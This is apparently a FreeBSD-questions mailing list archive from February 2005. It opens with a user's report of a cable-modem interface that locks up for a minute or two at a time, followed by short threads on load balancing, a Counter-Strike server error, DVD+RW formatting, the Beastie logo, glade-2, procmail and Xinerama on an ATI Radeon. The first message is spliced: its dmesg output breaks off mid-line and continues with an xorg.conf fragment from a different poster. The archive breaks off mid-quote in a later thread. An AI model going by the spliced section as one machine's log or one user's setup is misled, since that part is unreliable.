information: My FreeBSD box is my home NAT router, server, firewall, etc. It does DHCP, MX for some of my domains, secondary DNS (I got primary elsewhere), apache for some webhosting, blah blah blah. Nothing really special. It is a Dual PIII-500, 512mb ram, and a couple ATA hdd=B9s. Had 3 realtek network interfaces, but down to 2 now. *** The problem: Networking simply "stops" or "locks up". Why, I don't know. I believe initially it happened for all 3 network cards... I thought tcp/ip processin= g or something in the kernel got locked. It happens every 30 minutes to an hour, and lasts about 60 seconds to 120 seconds. Unfortunately, 60 seconds to 120 seconds is long enough to kill messenger (my gf does not like), online gaming, etc etc. Lately, I had taken one of the realtek cards out (it was for a several km long wireless link) and moved the server to my gf's place (where I am now 100% of the time). So now that I have the server locally and rely on it for my internet connection, this has become a real PAIN. I've noticed that I can remain ssh'd into diablo, do whatever I want while this "lock" issue occurs. So the lan interface rl0 is fine. The internet interface, rl1 (which goes to the cable modem) locks up. (btw, its not the cable modem as I am using my gf's now, and it did this at my place on my cable modem too, which is a different brand. Nortel at my place, motorola a= t my gfs). *** Attempts: I've attempted switching out network cards, and places 3 other realtek card= s in. Different brands, all with different revisions (D instead of B, etc, etc). No matter what I try, nothing fixes it. The machine seems perfectly repsonsive, and I am still ssh'd in and can do whatever I want on it... But the network card going to the cable modem has stopped responding?! This never happened during 5.0-Current all throughout 5.2.1-STABLE, but anywhere beyond 5.2.1 it craps itself. *** Dmesg output: Copyright (c) 1992-2004 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.2.1-RELEASE-p13 #2: Thu Feb 10 18:39:33 CST 2005 diskiller@diablo.diskiller.net:/junk/obj/junk/src/sys/DIABLO Preloaded elf kernel "/boot/kernel/kernel" at 0xc076c000. MPTable: Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Pentium III/Pentium III Xeon/Celeron (504.72-MHz 686-class CPU) Origin =3D "GenuineIntel" Id =3D 0x673 Stepping =3D 3 =20 Features=3D0x387fbff real memory =3D 536870912 (512 MB) avail memory =3D 516034560 (492 MB) FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 ioapic0: Assuming intbase of 0 ioapic0 irqs 0-23 on motherboard Pentium Pro MTRR support enabled npx0: [FAST] npx0: on motherboard npx0: INT 16 interface pcibios: BIOS version 2.10 Using $PIR table, 7 entries at 0xc00fdcf0 pcib0: at pcibus 0 on motherboard pci0: on pcib0 pci_cfgintr: 0:10 INTA BIOS irq 10 pci_cfgintr: 0:12 INTA BIOS irq 11 agp0: mem 0xd0000000-0xd3ffffff at device 0.0 on pci0 pcib1: at device 1.0 on pci0 pci1: on pcib1 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xf000-0xf00f at device 7.1 o= n pci0 ata0: at 0x1f0 irq 14 on atapci0 ata0: [MPSAFE] ata1: at 0x170 irq 15 on atapci0 ata1: [MPSAFE] uhci0: port 0xe000-0xe01f at device 7.2 on pci0 pci_cfgintr: 0:7 INTD routed to irq 11 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered piix0: port 0x5000-0x500f at device 7.3 on pci0 Timecounter "PIIX" frequency 3579545 Hz quality 0 pci0: at device 8.0 (no driver attached) rl0: port 0xe400-0xe4ff mem 0xd7000000-0xd70000ff irq 10 at device 10.0 on pci0 rl0: Ethernet address: 00:00:21:f2:a5:47 miibus0: on rl0 rlphy0: on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto rl1: port 0xe800-0xe8ff mem 0xd7001000-0xd70010ff irq 11 at device 12.0 on pci0 rl1: Ethernet address: 00:40:f4:90:1c:4b miibus1: on rl1 rlphy1: on miibus1 rlphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto orm0: : integer, : float, : "True"/"False", ### : "String", : " Hz/kHz/MHz" ### [arg]: arg optional #Option "NoAccel" # [] #Option "SWcursor" # [] #Option "Dac6Bit" # [] #Option "Dac8Bit" # [] #Option "ForcePCIMode" # [] #Option "BusType" # [] #Option "CPPIOMode" # [] #Option "CPusecTimeout" # #Option "AGPMode" # #Option "AGPFastWrite" # [] #Option "AGPSize" # #Option "GARTSize" # #Option "RingSize" # #Option "BufferSize" # #Option "EnableDepthMoves" # [] #Option "EnablePageFlip" # [] #Option "NoBackBuffer" # [] #Option "PanelOff" # [] #Option "DDCMode" # [] #Option "MonitorLayout" # [] #Option "IgnoreEDID" # [] #Option "OverlayOnCRTC2" # [] #Option "CloneMode" # [] #Option "CloneHSync" # [] #Option "CloneVRefresh" # [] #Option "UseFBDev" # [] #Option "VideoKey" # #Option "DisplayPriority" # [] #Option "PanelSize" # [] #Option "ForceMinDotClock" # Identifier "Card0" Driver "radeon" VendorName "ATI Technologies Inc" BoardName "Unknown Board" BusID "PCI:1:0:0" EndSection Section "Device" Identifier "Card0-DVI" Driver "radeon" VendorName "ATI Technologies Inc" BoardName "Unknown Board" Screen 1 BusID "PCI:1:0:0" EndSection Section "Device" Identifier "VMware" Driver "vmware" VendorName "VMware" BusID "PCI:0:15:0" EndSection Section "Screen" Identifier "Screen0" Device "Card0" Monitor "Monitor0" DefaultDepth 24 SubSection "Display" Depth 1 EndSubSection SubSection "Display" Depth 4 EndSubSection SubSection "Display" Depth 8 EndSubSection SubSection "Display" Depth 15 Modes "1024x768" EndSubSection SubSection "Display" Depth 16 Modes "1024x768" EndSubSection SubSection "Display" Depth 24 Modes "1024x768" EndSubSection EndSection Section "Screen" Identifier "Screen1" Device "Card0-DVI" Monitor "Monitor1" DefaultDepth 24 SubSection "Display" Depth 1 EndSubSection SubSection "Display" Depth 4 EndSubSection SubSection "Display" Depth 8 EndSubSection SubSection "Display" Depth 15 Modes "1280x1024" EndSubSection SubSection "Display" Depth 16 Modes "1280x1024" EndSubSection SubSection "Display" Depth 24 Modes "1280x1024" EndSubSection EndSection Section "Screen" Identifier "VMscreen" Device "VMware" Monitor "Monitor0" SubSection "Display" Depth 24 Modes "1024x768" "800x600" "768x576" "752x564" "640x480" EndSubSection SubSection "Display" Depth 16 Modes "1024x768" "800x600" "768x576" "752x564" "640x480" EndSubSection EndSection Section "DRI" Mode 0666 EndSection --Boundary-01=_k2MDCTjOTfGWaSy-- --nextPart123127212.AFm79joTA4 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCDM2oXhc68WspdLARAimZAJ9iBQFxiC8iE2y5qEMXTtQ9wdU6LQCgjAkY J3H393PzJRbH+Fvyqp5uqGs= =gnVc -----END PGP SIGNATURE----- --nextPart123127212.AFm79joTA4-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:26:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1222716A4CE for ; Fri, 11 Feb 2005 15:26:23 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id E70C143D55 for ; Fri, 11 Feb 2005 15:26:22 +0000 (GMT) (envelope-from fbsd-questions@trini0.org) Received: from hivemind.trini0.org (trini0.org[65.34.205.195]) by comcast.net (rwcrmhc11) with ESMTP id <2005021115262201300ma03me>; Fri, 11 Feb 2005 15:26:22 +0000 Received: from [192.168.0.16] (gladiator.trini0.org [192.168.0.16]) by hivemind.trini0.org (Postfix) with ESMTP id CE5BD60D3; Fri, 11 Feb 2005 10:26:20 -0500 (EST) Message-ID: <420CCE9C.6060908@trini0.org> Date: Fri, 11 Feb 2005 10:26:20 -0500 From: Gerard Samuel User-Agent: Mozilla Thunderbird 1.0 (X11/20050122) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nick Pavlica References: <420C2168.1010900@trini0.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions Subject: Re: Simulating webserver load balancing X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:26:23 -0000 Nick Pavlica wrote: >Here are a couple of other solutions to look at: > > http://www.inlab.de/balance.html > http://pythondirector.sourceforge.net/ > >--Nick > > >On Thu, 10 Feb 2005 22:07:20 -0500, Gerard Samuel > wrote: > > >>Im looking for suggestions for a port and/or tips that would assist me in >>setting up a webserver cluster. >>But the catch is, I only have one physical webserver. >>I want to simulate an environment to test some code >>that I wrote. >>Thanks for anything that you can provide... >> Thanks for the links From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:28:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 836B116A4CE for ; Fri, 11 Feb 2005 15:28:45 +0000 (GMT) Received: from mars.sutv.com (sutv.com [63.173.36.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0EB0B43D39 for ; Fri, 11 Feb 2005 15:28:45 +0000 (GMT) (envelope-from jparsons@sutv.com) Received: from jparsons (sutv-wgtn-wireless-65-166-56-34.sutv.com [65.166.56.34]) by mars.sutv.com (Postfix) with ESMTP id DA9B43F693 for ; Fri, 11 Feb 2005 09:27:34 -0600 (CST) From: "Jaron Parsons" To: Date: Fri, 11 Feb 2005 09:28:44 -0600 Organization: Sumner Communications, Inc. MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcUQTl7qIYG//mvCSkWd/1BOEQRZ5A== Message-Id: <20050211152734.DA9B43F693@mars.sutv.com> Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: linux_base compatibility issue? Counter-Strike X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:28:45 -0000 Derrick Ryalls, I came across a post you made regarding the following erros on the CS source with freebsd 4.9 Illegal instruction (core dumped) cat: hlds.12893.pid: No such file or directory Deprecated bfd_read called at /usr/src/gnu/usr.bin/binutils/gdb/../../../../contrib/gdb/gdb/dwarf2read.c line 3049 in dwarf2_read_section Dwarf Error: Cannot handle DW_FORM_strp in DWARF reader. /lib/libm.so.6: No such file or directory. debug.cmds:1: Error in sourced command file: email debug.log to linux@valvesoftware.com Did you ever figure out a resolu8tion to the problem or is the only fix to upgrade to 5.3 ? Any help would be appreciated! Thanks Jaron Parsons From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:32:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 73ADC16A4CE for ; Fri, 11 Feb 2005 15:32:36 +0000 (GMT) Received: from abigail.blackend.org (blackend.org [212.11.35.229]) by mx1.FreeBSD.org (Postfix) with ESMTP id 623BF43D45 for ; Fri, 11 Feb 2005 15:32:35 +0000 (GMT) (envelope-from marc@blackend.org) Received: from nosferatu.blackend.org (nosferatu.blackend.org [192.168.10.205])j1BFWQgW094684; Fri, 11 Feb 2005 16:32:26 +0100 (CET) (envelope-from marc@abigail.blackend.org) Received: from nosferatu.blackend.org (localhost.blackend.org [127.0.0.1]) j1BFWQsp025003; Fri, 11 Feb 2005 16:32:26 +0100 (CET) (envelope-from marc@nosferatu.blackend.org) Received: (from marc@localhost) by nosferatu.blackend.org (8.13.1/8.13.1/Submit) id j1BFWPsY025002; Fri, 11 Feb 2005 16:32:25 +0100 (CET) (envelope-from marc) Date: Fri, 11 Feb 2005 16:32:24 +0100 From: Marc Fonvieille To: Xian Message-ID: <20050211153224.GD599@nosferatu.blackend.org> References: <200502102147.10722.ian@codepad.net> <20050210215158.GC31772@nosferatu.blackend.org> <200502102333.48699.ian@codepad.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200502102333.48699.ian@codepad.net> User-Agent: Mutt/1.4.2.1i X-Useless-Header: blackend.org X-Operating-System: FreeBSD 5.3-STABLE cc: freebsd-questions@freebsd.org Subject: Re: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:32:36 -0000 On Thu, Feb 10, 2005 at 11:33:48PM +0000, Xian wrote: > On Thursday 10 February 2005 21:51, Marc Fonvieille wrote: > > > Under 5.X or 4.X ? > > 5.3R > You have to read http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/creating-dvds.html Marc From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:37:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DDA4F16A4CE for ; Fri, 11 Feb 2005 15:37:51 +0000 (GMT) Received: from mail.scls.lib.wi.us (mail.scls.lib.wi.us [198.150.40.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6602743D39 for ; Fri, 11 Feb 2005 15:37:51 +0000 (GMT) (envelope-from nalists@scls.lib.wi.us) Received: from [172.26.2.238] ([172.26.2.238]) by mail.scls.lib.wi.us (8.12.9p2/8.12.9) with ESMTP id j1BFbntB023788; Fri, 11 Feb 2005 09:37:49 -0600 (CST) (envelope-from nalists@scls.lib.wi.us) Message-ID: <420CD12D.6010103@scls.lib.wi.us> Date: Fri, 11 Feb 2005 09:37:17 -0600 From: Greg Barniskis User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bart Silverstrim References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420CB8CD.3030601@scls.lib.wi.us> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie [bike shed, EOT] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:37:52 -0000 Bart Silverstrim wrote: > I'm missing the part about the tennis shoes though. I didn't realize > that was part of the joke...? :-) goes to "why is it cartoonish?", "the shoes mean 'fast'", etc. > Your duty should be to answer their questions and go over pertinent > information for the presentation. If they want to know about it > *again*, give them the info. If they keep forgetting, print up a > pamphlet. There may already be stuff at the FreeBSD advocacy sites > ready to print. It's not just a small group of people (the board), nor is it the same people for very long (rotating appointments), it's the boards and customers of all regional libraries (numbering dozens and hundreds of thousands). Having IT staff explain and defend "daemon/demon" simply does not scale, is my point. Even if it did, there's still the problem of people who are not convinced by the logical explanation (the willfully clueless). Anyway as amusing as this topic is, I am personally /dev/nulling all related threads now, with a parting shot repeating my opinion that this whole thing is a *bike shed*. To the defenders of the "no change!" position: if your argument is based mainly on love of Beastie or hatred of cluelessness, please consider stepping away from the bike shed while those interested in the more mundane aspects of this problem design a shed based on more practical concerns. ;-) If a new, more practical shed emerges, I will be happy. If not, I will continue to use a high fence to obscure the view of the shed that I cannot use. I would of course be thrilled with a solution that used a sysinstall "theme" choice for boot screens and other "logo embedded" aspects of the OS so that at work I could use the "professional theme" while at home I could let Beastie roar. -- Greg Barniskis, Computer Systems Integrator South Central Library System (SCLS) Library Interchange Network (LINK) , (608) 266-6348 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:39:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 251B516A4CF for ; Fri, 11 Feb 2005 15:39:11 +0000 (GMT) Received: from web54002.mail.yahoo.com (web54002.mail.yahoo.com [206.190.36.226]) by mx1.FreeBSD.org (Postfix) with SMTP id 9B9D143D60 for ; Fri, 11 Feb 2005 15:39:08 +0000 (GMT) (envelope-from spamrefuse@yahoo.com) Received: (qmail 85884 invoked by uid 60001); 11 Feb 2005 15:39:08 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=6DAYu7NEraS8Bd/UPFQ31mr2aJiNQwCcp068SiKJq1u2YtnQVsNxMrMlZWu4xiunw5tDFiPMRq+mm6RGk6euxXBO412J/6OvUoGCRvtATboNZP0ORWlhJ4+TRj9rePzahNC7N0ctLqpBQI5WJIY2SWC56jvwjXpaOKEmGThD8Ks= ; Message-ID: <20050211153908.85882.qmail@web54002.mail.yahoo.com> Received: from [147.46.44.181] by web54002.mail.yahoo.com via HTTP; Fri, 11 Feb 2005 07:39:07 PST Date: Fri, 11 Feb 2005 07:39:07 -0800 (PST) From: Rob To: gert.cuykens@gmail.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: FreeBSD questions Subject: Re: glade-2 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:39:11 -0000 > PS When i build in c it works but when i try c++ i get this ? > > Error running glade-- to generate the C++ source code. > Check that you have glade-- installed and that it is in your PATH. > Then try running 'glade-- ' in a terminal. > > Anybody know why ? > > PS is there much difference between C and C++ ? Go to: http://lists.ximian.com/mailman/listinfo/glade-users where you find people that know everything about glade and related issues. Rob. __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:41:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 32E8516A4CE for ; Fri, 11 Feb 2005 15:41:18 +0000 (GMT) Received: from keymaster.look.ca (delta1.look.ca [207.136.80.9]) by mx1.FreeBSD.org (Postfix) with ESMTP id 90A5343D4C for ; Fri, 11 Feb 2005 15:41:10 +0000 (GMT) (envelope-from david+dated+1108568466.f3dbb6@skytracker.ca) Received: from 3s1.com ([209.161.205.12]) by keymaster.look.ca with esmtp (Exim 4.20) id 1Czcuq-0001mG-L2 for questions@freebsd.org; Fri, 11 Feb 2005 15:41:08 +0000 Received: (from root@localhost) by 3s1.com (8.12.8p1/8.12.8) id j1BFf8ue018670 for questions@freebsd.org; Fri, 11 Feb 2005 10:41:08 -0500 (EST) (envelope-from david+dated+1108568466.f3dbb6@skytracker.ca) Received: from 3s1.com (localhost [127.0.0.1]) by 3s1.com (8.12.8p1/8.9.3) with ESMTP id j1BFf7tr018646 for ; Fri, 11 Feb 2005 10:41:07 -0500 (EST) Received: (from david@localhost) by 3s1.com (8.12.8p1/8.12.8/Submit) id j1BFf6xW018597 for questions@freebsd.org; Fri, 11 Feb 2005 10:41:06 -0500 (EST) (envelope-from david+dated+1108568466.f3dbb6@skytracker.ca) X-Authentication-Warning: 3s1.com: david set sender to david+dated+1108568466.f3dbb6@skytracker.ca using -f Received: by 3s1.com (tmda-sendmail, from uid 1000); Fri, 11 Feb 2005 10:41:06 -0500 (EST) Date: Fri, 11 Feb 2005 10:41:01 -0500 To: questions@freebsd.org Message-ID: <20050211154101.GA16438@skytracker.ca> Mime-Version: 1.0 Content-Disposition: inline User-Agent: Mutt/1.4.2.1i From: David Banning X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-scanner: scanned by Inflex 1.0.12.3 - (http://pldaniels.com/inflex/) X-SA-Exim-Mail-From: david+dated+1108568466.f3dbb6@skytracker.ca Content-Type: text/plain; charset=us-ascii X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on omega.look.ca X-Spam-Level: X-Spam-Status: No, hits=0.1 required=9.0 tests=FROM_HAS_MIXED_NUMS autolearn=no version=2.63 X-SA-Exim-Version: 3.1 (built Tue Feb 24 05:09:27 GMT 2004) X-SA-Exim-Scanned: Yes Subject: too many procmail processes running X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:41:18 -0000 My machine is running too many procmail processes. I believe that they are taking too long to run. Eventually it shuts down my machine. Any idea what could be causing this? -- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:41:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 36E0C16A4CE; Fri, 11 Feb 2005 15:41:28 +0000 (GMT) Received: from postino-2.etat.lu (postino-2.etat.lu [194.154.205.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id BDF7943D49; Fri, 11 Feb 2005 15:41:27 +0000 (GMT) (envelope-from didier.wiroth@mcesr.etat.lu) Received: from avirus-1.cie.etat.lu (dispatch-1.cie.etat.lu [148.110.137.6]) by postino-2.etat.lu (Postfix) with ESMTP id 65527EF1A4C; Fri, 11 Feb 2005 16:41:26 +0100 (CET) Received: from avirus-1.cie.etat.lu (dispatch-1.cie.etat.lu [148.110.137.6]) by localhost (CIE ESMTP Dispatch 1) with ESMTP id 61BAE23212; Fri, 11 Feb 2005 16:41:26 +0100 (CET) Received: from hermes-1.cie.etat.lu (hermes-1.cie.etat.lu [148.110.136.56]) by dispatch-1.cie.etat.lu (CIE ESMTP Dispatch 1) with ESMTP id 4CE1823210; Fri, 11 Feb 2005 16:41:26 +0100 (CET) Received: from hermes-1.cie.etat.lu (hermes-1.cie.etat.lu [148.110.136.56]) by store.etat.lu (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004)) with ESMTP id <0IBR00MPJ7L2MB90@store.etat.lu>; Fri, 11 Feb 2005 16:41:26 +0100 (MET) Received: from LUCY ([148.110.43.189]) by store.etat.lu (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004)) with ESMTP id <0IBR00DLB7KZS5A0@store.etat.lu>; Fri, 11 Feb 2005 16:41:26 +0100 (MET) Date: Fri, 11 Feb 2005 16:41:25 +0100 From: Didier Wiroth In-reply-to: <200502111622.16099.michaelnottebrock@gmx.net> To: 'Michael Nottebrock' Message-id: <0IBR00DLD7L2S5A0@store.etat.lu> X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Mailer: Microsoft Office Outlook, Build 11.0.6353 Content-transfer-encoding: 7BIT Thread-index: AcUQTZbk7Gb86UKWRg6Ozr8Q/rSdqgAAm79A cc: freebsd-x11@freebsd.org cc: freebsd-questions@freebsd.org Subject: RE: xinerama with an "ati radeon 9200se" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:41:28 -0000 Thanks a lot. Unfortunately still the same result! "no signal" on the digital output. -----Original Message----- From: Michael Nottebrock [mailto:michaelnottebrock@gmx.net] Sent: Friday, February 11, 2005 16:22 To: freebsd-x11@freebsd.org Cc: Didier Wiroth; freebsd-questions@freebsd.org Subject: Re: xinerama with an "ati radeon 9200se" On Friday, 11. February 2005 16:01, Didier Wiroth wrote: > May be someone is alreay using a more less equal config with an "ati > 9200se" in xinerama mode? Here's mine (I use two analog CRTs, one connected to the dvi-port with the dvi-rgb adapter). Ignore the VMware stuff in there, it's an alternative server layout. -- ,_, | Michael Nottebrock | lofi@freebsd.org (/^ ^\) | FreeBSD - The Power to Serve | http://www.freebsd.org \u/ | K Desktop Environment on FreeBSD | http://freebsd.kde.org From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:53:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 68CC716A4CE for ; Fri, 11 Feb 2005 15:53:20 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 207A943D1D for ; Fri, 11 Feb 2005 15:53:19 +0000 (GMT) (envelope-from michaelnottebrock@gmx.net) Received: (qmail invoked by alias); 11 Feb 2005 15:53:17 -0000 Received: from p3EE2686E.dip.t-dialin.net (EHLO lofi.dyndns.org) (62.226.104.110) by mail.gmx.net (mp018) with SMTP; 11 Feb 2005 16:53:17 +0100 X-Authenticated: #443188 Received: from kiste.my.domain (kiste.my.domain [192.168.8.4]) (authenticated bits=0) by lofi.dyndns.org (8.12.10/8.12.10) with ESMTP id j1BFrEV4008437 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Fri, 11 Feb 2005 16:53:15 +0100 (CET) (envelope-from michaelnottebrock@gmx.net) From: Michael Nottebrock To: Didier Wiroth Date: Fri, 11 Feb 2005 16:53:11 +0100 User-Agent: KMail/1.7.2 References: <0IBR00DLD7L2S5A0@store.etat.lu> In-Reply-To: <0IBR00DLD7L2S5A0@store.etat.lu> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart110885946.umdzP0xUV8"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502111653.14588.michaelnottebrock@gmx.net> X-Virus-Scanned: by amavisd-new X-Y-GMX-Trusted: 0 cc: freebsd-x11@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: xinerama with an "ati radeon 9200se" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:53:20 -0000 --nextPart110885946.umdzP0xUV8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Friday, 11. February 2005 16:41, Didier Wiroth wrote: > Thanks a lot. > Unfortunately still the same result! "no signal" on the digital output. Perhaps you're feeding your LCD/TFT with a signal it can't handle? Try=20 conservative timings (60Hz refresh rate). =2D-=20 ,_, | Michael Nottebrock | lofi@freebsd.org (/^ ^\) | FreeBSD - The Power to Serve | http://www.freebsd.org \u/ | K Desktop Environment on FreeBSD | http://freebsd.kde.org --nextPart110885946.umdzP0xUV8 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCDNTqXhc68WspdLARAtgUAJ9x2k79EQo0L1iXX1BpoErSQrQrgQCfYMnw ZdmUprgmCe6z+DBXRjOzhOU= =CORQ -----END PGP SIGNATURE----- --nextPart110885946.umdzP0xUV8-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 15:54:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 834A316A4CE for ; Fri, 11 Feb 2005 15:54:48 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 408D043D1D for ; Fri, 11 Feb 2005 15:54:47 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j1BFsYQ01978; Fri, 11 Feb 2005 09:54:34 -0600 (CST) (envelope-from john) Date: Fri, 11 Feb 2005 09:54:34 -0600 From: John To: Joshua Tinnin Message-ID: <20050211095434.A1859@starfire.mn.org> References: <20050115210617.A20158@starfire.mn.org> <20050130065321.GC16264@alzatex.com> <20050210230107.A99048@starfire.mn.org> <200502102146.04045.krinklyfig@spymac.com> <20050211011031.B99131@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <20050211011031.B99131@starfire.mn.org>; from john@starfire.mn.org on Fri, Feb 11, 2005 at 01:10:31AM -0600 cc: freebsd-questions@freebsd.org Subject: Re: I need a cuppa... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 15:54:48 -0000 On Fri, Feb 11, 2005 at 01:10:31AM -0600, John wrote: > On Thu, Feb 10, 2005 at 09:46:03PM -0800, Joshua Tinnin wrote: > > On Thursday 10 February 2005 09:01 pm, John > > wrote: > > > On Sat, Jan 29, 2005 at 10:53:21PM -0800, Loren M. Lang wrote: > > > > On Sat, Jan 29, 2005 at 10:10:00AM -0600, John wrote: > > > > > On Sat, Jan 15, 2005 at 09:05:22PM -0800, Tabor Kelly wrote: > > > > > > Jonathan Chen wrote: > > > > > > > On 